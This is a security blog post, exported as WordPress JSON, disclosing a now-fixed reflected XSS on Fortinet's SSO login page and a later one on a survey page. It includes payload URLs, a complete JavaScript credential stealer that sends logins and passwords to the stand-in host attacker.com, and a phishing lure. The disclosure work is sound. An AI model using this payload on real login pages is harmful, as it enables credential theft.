{"id":1814,"date":"2016-03-04T11:48:41","date_gmt":"2016-03-04T09:48:41","guid":{"rendered":"https:\/\/www.asafety.fr\/?p=1814"},"modified":"2016-07-25T00:35:30","modified_gmt":"2016-07-24T22:35:30","slug":"contribution-poc-fortinet-sso-idp-credential-stealer-rxss","status":"publish","type":"post","link":"https:\/\/www.asafety.fr\/en\/vuln-exploit-poc\/contribution-poc-fortinet-sso-idp-credential-stealer-rxss\/","title":{"rendered":"[Contribution &#8211; PoC] Fortinet SSO IdP &#8211; Credential Stealer RXSS"},"content":{"rendered":"<p><\/p>\n<p style=\"text-align: center;\"><strong>SSO authentication page of one of Fortigate\u00a0IdP presents\u00a0a Cross-Site Scripting vulnerability which can be used\u00a0to steal user credentials in plaintext.<\/strong><\/p>\n<h1>Introduction<\/h1>\n<p>Companies and current majors turn increasingly to identity federation. A central and single repository containing users credentials (login \/ password) like\u00a0LDAP, AD, etc., a single web application centralized authentication (commonly referred to IdP for IDentity Provider) and federation protocols including standards SAML, WS -FED, OAuth, OpenID, etc.<\/p>\n<h2>The advantage of identity federation?<\/h2>\n<ul>\n<li>The protocols are secure and standardized<\/li>\n<li>Sensitive credentials (passwords) no longer need to transit in clear during\u00a0networks exchanges since the federation is based on trust between the parties.<\/li>\n<li>Users data are centralized, facilitating management \/ renewal \/ update\u00a0\/ cancellation \/ revokation.<\/li>\n<\/ul>\n<p>However, keep in mind that the user has only one pair of credentials to remember. Those present in the central repository (LDAP \/ AD) and it uses only through the SSO authentication page. So if this authentication page\u00a0is compromised and \/ or vulnerable, all federated applications are impacted.<\/p>\n<h2>Case History: Fortinet<\/h2>\n<p>Fortinet, the US multinational founded in 2000 and specializes in equipment \/ appliances of high performance-safety network was vulnerable to such an attack vector. Fortinet is also a leader in the Unified Threat Management solutions (UTM) and positions itself as a world leader in security solution after <a href=\"https:\/\/www.asafety.fr\/vuln-exploit-poc\/contribution-multiples-cross-site-scripting-chez-cisco\/\" target=\"_blank\">Cisco Systems<\/a>\u00a0and\u00a0<a href=\"https:\/\/www.asafety.fr\/vuln-exploit-poc\/checkpoint-rxss-et-injection-en-parametre-de-fonction-js\/\" target=\"_blank\">CheckPoint<\/a>.<\/p>\n<p>Fortinet set up a mechanism of SSO \/ federation for\u00a0its various platforms. Thus, when attempting to access certain areas of the editor and services without being authenticated, we are redirected to a single authentication page. This is particularly the case for areas:<\/p>\n<ul>\n<li><a href=\"https:\/\/forticare.fortinet.com\" target=\"_blank\">forticare.fortinet.com<\/a><\/li>\n<li data-wpview-marker=\"https%3A%2F%2Fsearchsupport.fortinet.com\"><a href=\"https:\/\/searchsupport.fortinet.com\" target=\"_blank\">searchsupport.fortinet.com<\/a><\/li>\n<\/ul>\n<p>We are automatically redirected to &#8220;https:\/\/login.fortinet.com&#8221; which is the central IdP page for\u00a0authentication.<\/p>\n<div id=\"attachment_1816\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/fortinet_login_center.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1816\" class=\"size-medium wp-image-1816\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/fortinet_login_center-300x154.png\" alt=\"Fortinet login center\" width=\"300\" height=\"154\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/fortinet_login_center-300x154.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/fortinet_login_center.png 855w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1816\" class=\"wp-caption-text\">Fortinet login center<\/p><\/div>\n<h1>Analysis and exploitation<\/h1>\n<h2>Canonical RXSS with\u00a0alert()<\/h2>\n<p>This redirection to the domain\u00a0&#8220;login.fortinet.com&#8221; is accompanied by several GET parameters that, after successful authentication, redirect the user to the service expected. Example:<\/p>\n<pre>https:\/\/login.fortinet.com\/login.aspx?ReturnUrl=%2f%3fwa%3dwsignin1.0%26wtrealm%3dhttps%253a%252f%252fsearchsupport.fortinet.com%252f%26wctx%3drm%253d1%2526id%253dpassive%2526ru%253d%25252fdefault.aspx%26wct%3d2015-12-07T12%253a27%253a53Z%26LoginMethod%3dLDAP&amp;wa=wsignin1.0&amp;wtrealm=https%3a%2f%2fsearchsupport.fortinet.com%2f&amp;wctx=rm%3d1%26id%3dpassive%26ru%3d%252fdefault.aspx&amp;wct=2015-12-07T12%3a27%3a53Z&amp;LoginMethod=LDAP<\/pre>\n<p>Among these parameters, the &#8220;wtrealm&#8221; is vulnerable to an injection of reflected\u00a0JavaScript code (RXSS) :<\/p>\n<pre>https:\/\/login.fortinet.com\/login.aspx?ReturnUrl=\/?wa=wsignin1.0&amp;wtrealm=https:\/\/searchsupport.fortinet.com\/&amp;wctx=rm=1&amp;id=passive&amp;ru=\/default.aspx&amp;wct=2015-11-02T13:37:32Z&amp;LoginMethod=LDAP&amp;wa=wsignin1.0&amp;wtrealm=https:\/\/searchsupport.fortinet.com\/&lt;script&gt;alert(\/Yann CAM - Security Consultant @ASafety - SYNETIS\/);&lt;\/script&gt;&amp;wctx=rm=1&amp;id=passive&amp;ru=\/default.aspx&amp;wct=2015-11-02T13:37:32Z&amp;LoginMethod=LDAP<\/pre>\n<p>Overview\u00a0:<\/p>\n<div id=\"attachment_1817\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_001.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1817\" class=\"size-medium wp-image-1817\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_001-300x192.png\" alt=\"Fortinet SSO RXSS alert()\" width=\"300\" height=\"192\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_001-300x192.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_001-1024x654.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_001.png 1248w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1817\" class=\"wp-caption-text\">Fortinet SSO RXSS alert()<\/p><\/div>\n<p>At the source, no verification of the value of the &#8220;wtrealm&#8221; is performed:<\/p>\n<div id=\"attachment_1818\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_002.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1818\" class=\"size-medium wp-image-1818\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_002-300x129.png\" alt=\"Fortinet SSO RXSS alert() source\" width=\"300\" height=\"129\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_002-300x129.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_002-1024x441.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_002.png 1475w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1818\" class=\"wp-caption-text\">Fortinet SSO RXSS alert() source<\/p><\/div>\n<p>As the &#8220;wtrealm&#8221; parameter is changed, it no longer corresponds to a service provider (SP for Service Provider) trusted in the implementation of the Federation of Fortinet. So after the alert, an explicit message is visible on the login page:<\/p>\n<div id=\"attachment_1819\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_003.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1819\" class=\"size-medium wp-image-1819\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_003-300x240.png\" alt=\"Fortinet SSO RXSS error message\" width=\"300\" height=\"240\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_003-300x240.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_003-1024x818.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_003.png 1248w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1819\" class=\"wp-caption-text\">Fortinet SSO RXSS error message<\/p><\/div>\n<h2>Designing a payload for exploitation<\/h2>\n<p>In this case, the RXSS is located directly on the centralized authentication page. Thus, no need to create a fake login page to deceive potential victims.<\/p>\n<p><span style=\"line-height: 1.5;\">The execution of arbitrary JavaScript in the context of the page being performed successfully, an attacker can load a remote JS script (as long as it is accessible through HTTPS &#8211; HSTS protocol) and change the DOM browser victims.<\/span><\/p>\n<p>Such payload in a remote JS script would eg:<\/p>\n<ul>\n<li>Hide error message present on the login page to avoid that the victim had suspicions.<\/li>\n<li>Change the behavior of the HTML form submission (login \/ password POST) \u00a0of a legitimate user by inserting arbitrary treatment (hook).<\/li>\n<\/ul>\n<p>The current authentication form basically sending the user data seeking to authenticate to the target specified in the attribute &#8220;&lt;form action=TARGET&gt;&#8221;.<\/p>\n<p>To add arbitrary behavior just before the legitimate form submission, the idea is to use the event &#8220;onsubmit&#8221; on tag &#8220;form&#8221;. Indeed, it is always the events &#8220;on*&#8221; on tags that are executed before the standard attributes such &#8220;action=&#8221; or &#8220;href=&#8221; xHTML tags.<\/p>\n<p>As an example, consider a simple tag following hyperlink:<\/p>\n<pre>&lt;a href=\"https:\/\/www.google.com\" onclick=\"this.href='https:\/\/www.asafety.fr'\"&gt;Go to Google.com ? :)&lt;\/a&gt;<\/pre>\n<p>Which site do you visit? The one indicated by the browser status bar? \ud83d\ude42<\/p>\n<p>It&#8217;s exactly the same principle to a web form:<\/p>\n<pre>&lt;form action=\"https:\/\/site.com\/target\" onsubmit=\"this.action='https:\/\/attacker.com\/target'\"&gt;<\/pre>\n<blockquote><p>Note: The &#8220;action=&#8221; event following an &#8220;onsubmit=&#8221; of a &#8220;form&#8221; tag can be blocked if the JavaScript code &#8220;onsubmit=&#8221; return &#8220;false&#8221;. Same thing\u00a0for a &#8220;a&#8221; tag between the event &#8220;onclick=&#8221; and &#8220;href=&#8221;.<\/p><\/blockquote>\n<p>To carry out the operating PoC, hiding the error message and changing the behavior of the form, the attacker\u00a0can use the following x.js file:<\/p>\n<pre>\/\/alert(\/Yann CAM - Security Consultant @ASafety - SYNETIS\/);\r\n\/\/ Add JQuery dynamically if needed\r\nvar headx=document.getElementsByTagName('head')[0];\r\nvar jq= document.createElement('script');\r\njq.type= 'text\/javascript';\r\njq.src= 'https:\/\/code.jquery.com\/jquery-latest.min.js';\r\nheadx.appendChild(jq); \/\/ jquery dynamic loading\r\n\/\/ function to send through GET the login\/password of the victim to the attacker's server\r\nfunction sendX(login, passwd){\r\n var x=document.getElementsByTagName('head')[0];\r\n var y= document.createElement('script');\r\n y.type= 'text\/javascript';\r\n y.src= 'https:\/\/attacker.com\/x.php?LOGIN='+login+'&amp;PASSWD='+passwd;\r\n x.appendChild(y);\r\n}\r\n\/\/ function to recover the form submit action event\r\nfunction submitX(){\r\n document.forms[0].onsubmit=function() {\r\n return true; \/\/ enable the form \"action\"\r\n };\r\n document.forms[0].submit();\r\n}\r\n\/\/ function to hook the login form and add an onsubmit action (before the form action)\r\nfunction loadX(){\r\n $( document ).ready(function() {\r\n $(\"#contextHolder_InvalidRPAddress\").html(\"\"); \/\/ clean the error message on the page\r\n document.forms[0].onsubmit=function() {\r\n login=document.getElementById(\"contextHolder_Login_name\").value;\r\n passwd=document.getElementById(\"contextHolder_Login_password\").value;\r\n sendX(login,passwd); \/\/ retrieve login\/password\r\n setTimeout(\"submitX()\", 1000); \/\/ recover initial form submit action\r\n return false; \/\/ block the form \"action\"\r\n };\r\n });\r\n}\r\nsetTimeout('loadX()', 2000);<\/pre>\n<p>Once x.js file hosted on &#8220;https:\/\/attacker.com\/x.js&#8221;, and\u00a0loaded in the victim DOM browser visiting &#8220;login.fortinet.com&#8221;, the following changes result occur:<\/p>\n<ul>\n<li>The error message with id &#8220;contextHolder_InvalidRPAddress&#8221; is deleted.<\/li>\n<li>The event &#8220;onsubmit&#8221; in the authentication form is created, and a function that sends the values entered in the &#8220;contextHolder_Login_name&#8221; and &#8220;contextHolder_Login_password&#8221; to a script &#8220;https:\/\/attacker.com\/x.php&#8221; is set up (hook).<\/li>\n<li>The post-execution of the form action is blocked until the data have been transmitted on the malicious site.<\/li>\n<li>Then, after transmission, the behavior of the form is reset and the legitimate authentication takes place.<\/li>\n<\/ul>\n<p>For the victim, besides an additional authentication time of one second, no change is visible.<\/p>\n<p>The file x.js is loaded into the DOM of a victim via a URL like this:<\/p>\n<pre data-wpview-marker=\"https%3A%2F%2Flogin.fortinet.com%2Flogin.aspx%3FReturnUrl%3D%2F%3Fwa%3Dwsignin1.0%26wtrealm%3Dhttps%3A%2F%2Fsearchsupport.fortinet.com%2F%26wctx%3Drm%3D1%26id%3Dpassive%26ru%3D%2Fdefault.aspx%26wct%3D2015-11-02T13%3A37%3A32Z%26LoginMethod%3DLDAP%26wa%3Dwsignin1.0%26wtrealm%3Dhttps%3A%2F%2Fsearchsupport.fortinet.com%2F%3Cscript%3Es%3Ddocument.createElement('script')%3Bs.setAttribute('src'%2C'%2F%2Fattacker.com%2Fx.js')%3Bdocument.body.appendChild(s)%3B%3C%2Fscript%3E%26wctx%3Drm%3D1%26id%3Dpassive%26ru%3D%2Fdefault.aspx%26wct%3D2015-11-02T13%3A37%3A32Z%26LoginMethod%3DLDAP\">https:\/\/login.fortinet.com\/login.aspx?ReturnUrl=\/?wa=wsignin1.0&amp;wtrealm=https:\/\/searchsupport.fortinet.com\/&amp;wctx=rm=1&amp;id=passive&amp;ru=\/default.aspx&amp;wct=2015-11-02T13:37:32Z&amp;LoginMethod=LDAP&amp;wa=wsignin1.0&amp;wtrealm=https:\/\/searchsupport.fortinet.com\/&lt;script&gt;s=document.createElement('script');s.setAttribute('src','\/\/attacker.com\/x.js');document.body.appendChild(s);&lt;\/script&gt;&amp;wctx=rm=1&amp;id=passive&amp;ru=\/default.aspx&amp;wct=2015-11-02T13:37:32Z&amp;LoginMethod=LDAP<\/pre>\n<p>The arbitrary script is loaded into the navigation context:<\/p>\n<div id=\"attachment_1822\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_004.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1822\" class=\"wp-image-1822 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_004-300x163.png\" alt=\"Fortinet SSO RXSS third-party script\" width=\"300\" height=\"163\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_004-300x163.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_004-1024x558.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_004.png 1920w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1822\" class=\"wp-caption-text\">Fortinet SSO RXSS third-party script<\/p><\/div>\n<p>We can see\u00a0that the error message is no longer visible. We concluded that the alteration of the DOM is functional and therefore the behavior of the form was changed.<\/p>\n<h2>Exploitation\u00a0and demonstration<\/h2>\n<p>The attacker can then start a phishing campaign \/ spear-phishing from the exploitation of the vulnerability in URL. It can target sysadmins \/ DSI \/ Corporate RSSI featuring Fortinet equipment, and therefore usurp their credentials.<\/p>\n<p>Example of a page as an illustration:<\/p>\n<pre>You need support for your Fortinet Product?&lt;br \/&gt;\r\nPlease login to the supportcenter here : &lt;a target=\"_blank\" href=\"https:\/\/searchsupport.fortinet.com\/\" onclick=\"this.href='https:\/\/login.fortinet.com\/login.aspx?ReturnUrl=\/?wa=wsignin1.0&amp;wtrealm=https:\/\/searchsupport.fortinet.com\/&amp;wctx=rm=1&amp;id=passive&amp;ru=\/default.aspx&amp;wct=2015-11-02T13:37:32Z&amp;LoginMethod=LDAP&amp;wa=wsignin1.0&amp;wtrealm=https:\/\/searchsupport.fortinet.com\/%3Cscript%3Es%3Ddocument.createElement%28%27script%27%29%3Bs.setAttribute%28%27src%27%2C%27%2f%2fattacker.com%2fx.js%27%29%3Bdocument.body.appendChild%28s%29%3B%3C%2fscript%3E&amp;wctx=rm=1&amp;id=passive&amp;ru=\/default.aspx&amp;wct=2015-11-02T13:37:32Z&amp;LoginMethod=LDAP'\"&gt;https:\/\/searchsupport.fortinet.com\/&lt;\/a&gt;<\/pre>\n<p>Overview:<\/p>\n<div id=\"attachment_1824\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/fortinet_phishing_page.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1824\" class=\"size-medium wp-image-1824\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/fortinet_phishing_page-300x190.png\" alt=\"Fortinet phishing page\" width=\"300\" height=\"190\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/fortinet_phishing_page-300x190.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/fortinet_phishing_page-1024x650.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/fortinet_phishing_page.png 1056w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1824\" class=\"wp-caption-text\">Fortinet phishing page<\/p><\/div>\n<p>Attacker can\u00a0consult his\u00a0&#8220;https:\/\/attacker.com\/x.txt&#8221; file to recover credentials in plaintext\u00a0of all victims:<\/p>\n<div id=\"attachment_1823\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_006.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1823\" class=\"size-medium wp-image-1823\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_006-300x163.png\" alt=\"Fortinet SSO credentiels result\" width=\"300\" height=\"163\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_006-300x163.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_006-1024x558.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20151102-Fortinet_Login_Portal_RXSS_006.png 1920w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1823\" class=\"wp-caption-text\">Fortinet SSO credentiels result<\/p><\/div>\n<p>A demonstration video was produced to support the criticality of the vulnerability to the Fortinet teams:<\/p>\n<p><iframe loading=\"lazy\" width=\"600\" height=\"450\" src=\"https:\/\/www.youtube.com\/embed\/vDYdBMeZ7fc?feature=oembed\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<h1>Notification and Conclusion<\/h1>\n<p>Fortinet teams were informed on the day of the discovered attack vector (06.11.2015) through their ticketing system and security support (PSIRT). After validation and recognition of the vulnerability a few days later, a correction was conducted on 02.12.2015.<\/p>\n<blockquote><p>Hello,<\/p>\n<p>Thank you for your report and my apologies for the delay in responding.<br \/>\nOur development team has confirmed your report and we are working on a fix now.<\/p>\n<p>I will update you with an ETA.<\/p>\n<p>Thanks!<\/p><\/blockquote>\n<p>The vulnerability is now fixed\u00a0and non-exploitable.<\/p>\n<p>Keep in mind that although the mechanisms and technologies of SSO \/ Identity Federation are secure and very fashionable now, poor implementation at the central authentication page\u00a0may corrupt\u00a0the entire system.<\/p>\n<p>Users who have only one\u00a0couple of credential to remember, if it is stolen, all the federated applications can be compromised.<\/p>\n<p>I want to finish salute the teams of Fortinet for their kindness during our exchanges and correction speed (compared to other publishers in the same sector). also thank you for the quality of their products and services.<\/p>\n<p><strong>Update of 03.03.2016 :<\/strong><\/p>\n<p>After the report\u00a0of the vulnerability on the authentication of IdP page, and fixing\u00a0it, the ticket on the Fortinet tracking system was closed. Once a ticket is closed on this platform, the author of the ticket (myself), receives an email to perform a &#8220;satisfaction survey&#8221; (Customer Satisfaction Survey Request).<\/p>\n<div id=\"attachment_1904\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/fortinet_survey_satisfaction.png\" rel=\"attachment wp-att-1904\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1904\" class=\"wp-image-1904 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/fortinet_survey_satisfaction-300x96.png\" alt=\"Email de l'\u00e9tude de satisfaction\" width=\"300\" height=\"96\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/fortinet_survey_satisfaction-300x96.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/fortinet_survey_satisfaction-768x245.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/fortinet_survey_satisfaction-1024x327.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/fortinet_survey_satisfaction.png 1261w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1904\" class=\"wp-caption-text\">Email de l&#8217;\u00e9tude de satisfaction<\/p><\/div>\n<p>&nbsp;<\/p>\n<p>Wishing welcome the correction speed of vulnerability and courtesy of Fortinet teams, I thought &#8220;go, for once, you&#8217;ll answer their questionnaire&#8221; (positively of course).<\/p>\n<p>So I followed the link &#8220;Click here to take survey&#8221; of the mail pointing\u00a0to:<\/p>\n<pre>http:\/\/support.fortinet.com\/survey\/Survey.aspx?ticketid=ID<\/pre>\n<p>Seeing the parameter\u00a0of the URL, I naturally reiterated my analysis by attempting to inject characters in the &#8220;TicketID&#8221;<\/p>\n<div id=\"attachment_1905\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151203-RXSS-support.fortinet.com_003.png\" rel=\"attachment wp-att-1905\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1905\" class=\"wp-image-1905 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151203-RXSS-support.fortinet.com_003-300x178.png\" alt=\"Tentative d'injection sur le formulaire d'\u00e9tude de satisfaction\" width=\"300\" height=\"178\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151203-RXSS-support.fortinet.com_003-300x178.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20151203-RXSS-support.fortinet.com_003-768x455.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20151203-RXSS-support.fortinet.com_003.png 1000w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1905\" class=\"wp-caption-text\">Tentative d&#8217;injection sur le formulaire d&#8217;\u00e9tude de satisfaction<\/p><\/div>\n<p>Um, better, they integrated injected characters and strings\u00a0filtering. Digging Deeper &#8230; and &#8230;<\/p>\n<div id=\"attachment_1906\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151203-RXSS-support.fortinet.com_002.png\" rel=\"attachment wp-att-1906\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1906\" class=\"wp-image-1906 size-medium\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151203-RXSS-support.fortinet.com_002-300x181.png\" alt=\"RXSS alert() sur le support.fortinet.com\" width=\"300\" height=\"181\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/20151203-RXSS-support.fortinet.com_002-300x181.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20151203-RXSS-support.fortinet.com_002-768x464.png 768w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20151203-RXSS-support.fortinet.com_002-1024x619.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/20151203-RXSS-support.fortinet.com_002.png 1373w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-1906\" class=\"wp-caption-text\">RXSS alert() sur le support.fortinet.com<\/p><\/div>\n<p>Rebelote !<\/p>\n<p>Another Ticket been created few minutes after the close of the previous. But\u00a0this XSS has not been corrected quickly\u00a0(3 months later), hence the timeliness of this present article.<\/p>\n<p>In any case, it is protected now I can do the satisfaction survey again!<\/p>\n<p><strong>Sources &amp; resources :<\/strong><\/p>\n<ul>\n<li><a href=\"https:\/\/packetstormsecurity.com\/files\/134640\/fortinet-xss.txt\" target=\"_blank\">Advisory PacketStorm Security<\/a><\/li>\n<li><a href=\"https:\/\/www.youtube.com\/watch?v=vDYdBMeZ7fc\" target=\"_blank\">Vid\u00e9o de d\u00e9monstration<\/a><\/li>\n<li><a href=\"https:\/\/milw0rm.info\/exploits\/11754\" target=\"_blank\">Milw0rm advisory<\/a><\/li>\n<li><a href=\"http:\/\/news.softpedia.com\/news\/xss-on-fortinet-s-login-page-let-attackers-log-passwords-in-cleartext-501343.shtml\" target=\"_blank\">XSS on Fortinet&#8217;s Login Page Let Attackers Log Passwords in Cleartext &#8211; Softpedia<\/a><\/li>\n<li><a href=\"http:\/\/www.securityweek.com\/flaw-fortinet-login-page-allowed-attackers-phish-credentials\" target=\"_blank\">Flaw in Fortinet Login Page Allowed Attackers to Phish Credentials &#8211; SecurityWeek<\/a><\/li>\n<li><a href=\"http:\/\/www.scmagazineuk.com\/reflected-xss-vuln-found-on-fortinet-login-page\/article\/481106\/\" target=\"_blank\">Reflected XSS vuln found on Fortinet login page &#8211; SCMagazine<\/a><\/li>\n<\/ul>\n<p><\/p>","protected":false},"excerpt":{"rendered":"<p>SSO authentication page of one of Fortigate\u00a0IdP presents\u00a0a Cross-Site Scripting vulnerability which can be used\u00a0to steal user credentials in plaintext. [&hellip;]<\/p>\n","protected":false},"author":1337,"featured_media":1826,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[378,14,515],"tags":[380,434,432,435,407,379,433],"class_list":["post-1814","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-contributions","category-vuln-exploit-poc","category-xss","tag-contribution","tag-federation","tag-fortinet","tag-idp","tag-reflected-cross-site-scripting","tag-rxss","tag-sso"],"_links":{"self":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/1814","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/users\/1337"}],"replies":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/comments?post=1814"}],"version-history":[{"count":14,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/1814\/revisions"}],"predecessor-version":[{"id":1920,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/1814\/revisions\/1920"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media\/1826"}],"wp:attachment":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media?parent=1814"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/categories?post=1814"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/tags?post=1814"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}